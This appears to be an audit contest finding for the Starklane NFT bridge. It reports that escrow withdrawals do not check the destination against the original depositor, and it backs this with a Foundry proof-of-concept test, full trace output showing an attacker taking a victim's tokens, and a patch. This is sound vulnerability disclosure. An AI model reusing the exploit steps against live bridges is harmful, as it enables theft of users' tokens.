60,000 USDC
Submission Details
Severity:
Arbitrary Token Transfer in `StarklaneEscrow::_withdrawFromEscrow` Results in Fund Loss
Summary
When a user deposits ERC721 tokens via the Starklane::depositTokens function, the tokens are held in escrow. To withdraw these tokens, the user invokes the Starklane::withdrawTokens function, which subsequently calls the StarklaneEscrow::_withdrawFromEscrow function.
Additionally, tokens can also be withdrawn through the Starklane::cancelRequest function, which internally calls Starklane::_cancelRequest, which in turn invokes StarklaneEscrow::_withdrawFromEscrow.
It has been identified that the StarklaneEscrow::_withdrawFromEscrow function does not verify whether the destination address matches the original owner of the tokens, posing a critical risk of unauthorized token transfers. This oversight allows an attacker to create a malicious withdrawal request, potentially enabling them to transfer and steal tokens deposited by any user interacting with the protocol.
Vulnerability Details
In the Starklane::withdrawTokens function, the destination address for the transfer is sourced directly from the request, specifically from the req.ownerL1 value.
function withdrawTokens(
@> uint256[] calldata request
)
external
payable
returns (address)
{
...
@> Request memory req = Protocol.requestDeserialize(request, 0);
...
@> bool wasEscrowed = _withdrawFromEscrow(ctype, collectionL1, req.ownerL1, id);
The same behavior occurs in the Starklane::_cancelRequest function.
@> function _cancelRequest(Request memory req) internal {
uint256 header = felt252.unwrap(req.header);
CollectionType ctype = Protocol.collectionTypeFromHeader(header);
address collectionL1 = req.collectionL1;
for (uint256 i = 0; i < req.tokenIds.length; i++) {
uint256 id = req.tokenIds[i];
@> _withdrawFromEscrow(ctype, collectionL1, req.ownerL1, id);
}
}
As you can see, in the function StarklaneEscrow::_withdrawFromEscrow, there is no verification to ensure that the original owner of the tokens is the same as the destination address specified in the request in the to value.
/**
@notice Withdraw a token from escrow.
@param collectionType The token type,
@param collection Token collection address.
@param to Owner withdrawing the token.
@param id Token to be deposited.
@return True if the token was into escrow, false otherwise.
*/
function _withdrawFromEscrow(
CollectionType collectionType,
address collection,
@> address to,
uint256 id
)
internal
returns (bool)
{
if (!_isEscrowed(collection, id)) {
return false;
}
address from = address(this);
if (collectionType == CollectionType.ERC721) {
@> IERC721(collection).safeTransferFrom(from, to, id);
} else {
// TODO:
// Check here if the token supply is currently 0.
IERC1155(collection).safeTransferFrom(from, to, id, 1, "");
}
_escrow[collection][id] = address(0x0);
return true;
}
To verify the presence of the vulnerability, add the following test to the Bridge.t.sol test suite.
function test_stealOfFunds() public {
address attacker = makeAddr("attacker");
vm.deal(attacker, 100 ether);
// Add mapping L1 <-> L2: erc721C1 <-> 0x123
IStarklane(bridge).setL1L2CollectionMapping(
address(erc721C1),
Cairo.snaddressWrap(0x123),
true
);
// Alice mints ERC721 tokens
uint256[] memory ids = new uint256[](2);
ids[0] = 0;
ids[1] = 9;
IERC721MintRangeFree(erc721C1).mintRangeFree(alice, 0, 10);
// Verify that the initial owner for the tokens is alice
assertEq(IERC721(erc721C1).ownerOf(0), alice);
assertEq(IERC721(erc721C1).ownerOf(9), alice);
// Alice deposits the ERC721 tokens
uint256 salt = 0x1;
snaddress to = Cairo.snaddressWrap(0x1);
vm.startPrank(alice);
IERC721(erc721C1).setApprovalForAll(bridge, true);
IStarklane(bridge).depositTokens{value: 30000}(
salt,
address(erc721C1),
to,
ids,
false
);
vm.stopPrank();
// The attacker crafts a new request to withdraw alice's ERC721 tokens
vm.startPrank(attacker);
// Build the request and compute it's "would be" message hash.
felt252 header = Protocol.requestHeaderV1(
CollectionType.ERC721,
false,
false
);
Request memory req_withdraw = Request({
header: header,
hash: 0x0,
collectionL1: address(erc721C1),
collectionL2: Cairo.snaddressWrap(0x123),
ownerL1: attacker, // <@ attacker sets itself as the new owner of the tokens
ownerL2: Cairo.snaddressWrap(0x1),
name: "",
symbol: "",
uri: "ABCD",
tokenIds: ids,
tokenValues: new uint256[](0),
tokenURIs: new string[](0),
newOwners: new uint256[](0)
});
uint256[] memory reqSerialized = Protocol.requestSerialize(
req_withdraw
);
bytes32 msgHash = computeMessageHashFromL2(reqSerialized);
// The message must be simulated to come from starknet verifier contract
// on L1 and pushed to starknet core.
uint256[] memory hashes = new uint256[](1);
hashes[0] = uint256(msgHash);
IStarknetMessagingLocal(snCore).addMessageHashesFromL2(hashes);
address collection = IStarklane(bridge).withdrawTokens(reqSerialized);
vm.stopPrank();
// Verify that the collection returned is the same as the initial ERC721 collection
assertEq(collection, erc721C1);
// Check if the ERC721 tokens are now owned by the attacker
assertEq(IERC721(collection).ownerOf(0), attacker);
assertEq(IERC721(collection).ownerOf(9), attacker);
}
The output from running the test with the command forge test --mt test_stealOfFunds -vvvv --via-ir should be similar to the following
Ran 1 test for test/Bridge.t.sol:BridgeTest
[PASS] test_stealOfFunds() (gas: 687571)
Traces:
[687571] BridgeTest::test_stealOfFunds()
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]
├─ [0] VM::label(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], "attacker")
│ └─ ← ()
├─ [0] VM::deal(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], 100000000000000000000 [1e20])
│ └─ ← ()
├─ [53879] ERC1967Proxy::setL1L2CollectionMapping(ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63], 291, true)
│ ├─ [48975] Starklane::setL1L2CollectionMapping(ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63], 291, true) [delegatecall]
│ │ ├─ emit L1L2CollectionMappingUpdated(colllectionL1: ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63], collectionL2: 291)
│ │ └─ ← ()
│ └─ ← ()
├─ [297367] ERC721MintFree::mintRangeFree(0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, 0, 10)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 0)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 1)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 2)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 3)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 4)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 5)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 6)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 7)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 8)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 9)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 10)
│ └─ ← ()
├─ [602] ERC721MintFree::ownerOf(0) [staticcall]
│ └─ ← 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7
├─ [602] ERC721MintFree::ownerOf(9) [staticcall]
│ └─ ← 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7
├─ [0] VM::startPrank(0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7)
│ └─ ← ()
├─ [24650] ERC721MintFree::setApprovalForAll(ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], true)
│ ├─ emit ApprovalForAll(account: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, operator: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], approved: true)
│ └─ ← ()
├─ [213916] ERC1967Proxy::depositTokens{value: 30000}(1, ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63], 1, [0, 9], false)
│ ├─ [213482] Starklane::depositTokens{value: 30000}(1, ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63], 1, [0, 9], false) [delegatecall]
│ │ ├─ [534] ERC721MintFree::supportsInterface(0x01ffc9a700000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← true
│ │ ├─ [534] ERC721MintFree::supportsInterface(0xffffffff00000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← false
│ │ ├─ [458] ERC721MintFree::supportsInterface(0x80ac58cd00000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← true
│ │ ├─ [534] ERC721MintFree::supportsInterface(0x01ffc9a700000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← true
│ │ ├─ [534] ERC721MintFree::supportsInterface(0xffffffff00000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← false
│ │ ├─ [496] ERC721MintFree::supportsInterface(0x5b5e139f00000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← true
│ │ ├─ [214] ERC721MintFree::_baseUri() [staticcall]
│ │ │ └─ ← EvmError: Revert
│ │ ├─ [192] ERC721MintFree::baseUri() [staticcall]
│ │ │ └─ ← EvmError: Revert
│ │ ├─ [925] ERC721MintFree::tokenURI(0) [staticcall]
│ │ │ └─ ← ""
│ │ ├─ [925] ERC721MintFree::tokenURI(9) [staticcall]
│ │ │ └─ ← ""
│ │ ├─ [3285] ERC721MintFree::name() [staticcall]
│ │ │ └─ ← "name 1"
│ │ ├─ [3284] ERC721MintFree::symbol() [staticcall]
│ │ │ └─ ← "S1"
│ │ ├─ [28794] ERC721MintFree::transferFrom(0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], 0)
│ │ │ ├─ emit Transfer(from: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, to: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], tokenId: 0)
│ │ │ └─ ← ()
│ │ ├─ [6894] ERC721MintFree::transferFrom(0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], 9)
│ │ │ ├─ emit Transfer(from: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, to: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], tokenId: 9)
│ │ │ └─ ← ()
│ │ ├─ [58259] StarknetMessagingLocal::sendMessageToL2{value: 30000}(1, 2, [257, 319552616103626275293414929774876113634 [3.195e38], 39080778567855397924224240164501149526 [3.908e37], 243313642115106858902493542147085865830094663267 [2.433e47], 291, 884601108998247062727812365178754106561321340343 [8.846e47], 1, 0, 121364726226993 [1.213e14], 6, 0, 21297 [2.129e4], 2, 0, 0, 0, 2, 0, 0, 9, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0])
│ │ │ ├─ emit LogMessageToL2(fromAddress: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], toAddress: 1, selector: 2, payload: [257, 319552616103626275293414929774876113634 [3.195e38], 39080778567855397924224240164501149526 [3.908e37], 243313642115106858902493542147085865830094663267 [2.433e47], 291, 884601108998247062727812365178754106561321340343 [8.846e47], 1, 0, 121364726226993 [1.213e14], 6, 0, 21297 [2.129e4], 2, 0, 0, 0, 2, 0, 0, 9, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0], nonce: 0, fee: 30000 [3e4])
│ │ │ └─ ← 0x5d7c9cfdf8e0e71f6f3930a7a92a666cb47c8999850aa736141b02bac5eb599f, 0
│ │ ├─ emit DepositRequestInitiated(hash: 13298499832182918516759644955324998285702092299788055518059161765071918283490 [1.329e76], block_timestamp: 1, reqContent: [257, 319552616103626275293414929774876113634 [3.195e38], 39080778567855397924224240164501149526 [3.908e37], 243313642115106858902493542147085865830094663267 [2.433e47], 291, 884601108998247062727812365178754106561321340343 [8.846e47], 1, 0, 121364726226993 [1.213e14], 6, 0, 21297 [2.129e4], 2, 0, 0, 0, 2, 0, 0, 9, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0])
│ │ └─ ← ()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← ()
├─ [894] ERC1967Proxy::l2Info()
│ ├─ [496] Starklane::l2Info() [delegatecall]
│ │ └─ ← 1, 2
│ └─ ← 1, 2
├─ [25236] StarknetMessagingLocal::addMessageHashesFromL2([28597879484868321335563165974277461384282195784402205820979523204604861980607 [2.859e76]])
│ ├─ emit MessageHashesAddedFromL2(hashes: [28597879484868321335563165974277461384282195784402205820979523204604861980607 [2.859e76]])
│ └─ ← ()
├─ [96364] ERC1967Proxy::withdrawTokens([257, 0, 0, 243313642115106858902493542147085865830094663267 [2.433e47], 291, 901681037997844235119835126332629004180842507086 [9.016e47], 1, 0, 0, 0, 0, 0, 0, 0, 1094861636 [1.094e9], 4, 2, 0, 0, 9, 0, 0, 0, 0])
│ ├─ [95818] Starklane::withdrawTokens([257, 0, 0, 243313642115106858902493542147085865830094663267 [2.433e47], 291, 901681037997844235119835126332629004180842507086 [9.016e47], 1, 0, 0, 0, 0, 0, 0, 0, 1094861636 [1.094e9], 4, 2, 0, 0, 9, 0, 0, 0, 0]) [delegatecall]
│ │ ├─ [11376] StarknetMessagingLocal::consumeMessageFromL2(1, [257, 0, 0, 243313642115106858902493542147085865830094663267 [2.433e47], 291, 901681037997844235119835126332629004180842507086 [9.016e47], 1, 0, 0, 0, 0, 0, 0, 0, 1094861636 [1.094e9], 4, 2, 0, 0, 9, 0, 0, 0, 0])
│ │ │ ├─ emit ConsumedMessageToL1(fromAddress: 1, toAddress: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], payload: [257, 0, 0, 243313642115106858902493542147085865830094663267 [2.433e47], 291, 901681037997844235119835126332629004180842507086 [9.016e47], 1, 0, 0, 0, 0, 0, 0, 0, 1094861636 [1.094e9], 4, 2, 0, 0, 9, 0, 0, 0, 0])
│ │ │ └─ ← 0x3f39d380d1a43813948ca50d9f9ae463b9e94b267951a41d24be363762919fbf
│ │ ├─ [26876] ERC721MintFree::safeTransferFrom(ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], 0)
│ │ │ ├─ emit Transfer(from: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], to: attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], tokenId: 0)
│ │ │ └─ ← ()
│ │ ├─ [4976] ERC721MintFree::safeTransferFrom(ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], 9)
│ │ │ ├─ emit Transfer(from: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], to: attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], tokenId: 9)
│ │ │ └─ ← ()
│ │ ├─ emit WithdrawRequestCompleted(hash: 0, block_timestamp: 1, reqContent: [257, 0, 0, 243313642115106858902493542147085865830094663267 [2.433e47], 291, 901681037997844235119835126332629004180842507086 [9.016e47], 1, 0, 0, 0, 0, 0, 0, 0, 1094861636 [1.094e9], 4, 2, 0, 0, 9, 0, 0, 0, 0])
│ │ └─ ← ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63]
│ └─ ← ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63]
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [602] ERC721MintFree::ownerOf(0) [staticcall]
│ └─ ← attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]
├─ [602] ERC721MintFree::ownerOf(9) [staticcall]
│ └─ ← attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]
└─ ← ()
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.16ms (876.31µs CPU time)
Ran 1 test suite in 1.19s (2.16ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
Due to this lack of ownership verification in the StarklaneEscrow::_withdrawFromEscrow function, an attacker can exploit the vulnerability to steal tokens from any user who has deposited them into the protocol.
Tools Used
Manual review
Foundry
Recommendations
It is recommended to implement controls that map the ownership of tokens to prevent malicious users from withdrawing funds that do not belong to them. For instance, the already present _escrow mapping could be utilized to enforce this ownership verification. An example implementation is as follows:
contract StarklaneEscrow is Context {
// Escrowed token.
// Mapping (collectionAddres => (tokenId => depositor)).
mapping(address => mapping(uint256 => address)) _escrow;
+ error NotOriginalOwnerError();
...
/**
@notice Withdraw a token from escrow.
@param collectionType The token type,
@param collection Token collection address.
@param to Owner withdrawing the token.
@param id Token to be deposited.
@return True if the token was into escrow, false otherwise.
*/
function _withdrawFromEscrow(
CollectionType collectionType,
address collection,
address to,
uint256 id
)
internal
returns (bool)
{
if (!_isEscrowed(collection, id)) {
return false;
}
+ if (_escrow[collection][id] != to) {
+ revert NotOriginalOwnerError();
+ }
address from = address(this);
if (collectionType == CollectionType.ERC721) {
IERC721(collection).safeTransferFrom(from, to, id);
} else {
// TODO:
// Check here if the token supply is currently 0.
IERC1155(collection).safeTransferFrom(from, to, id, 1, "");
}
_escrow[collection][id] = address(0x0);
return true;
}
Prize pool breakdown
Total prize
60,000 USDC
nSLOC
2,30126 USDC / LOC
50,000 USDC
5,500 USDC
4,500 USDC
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.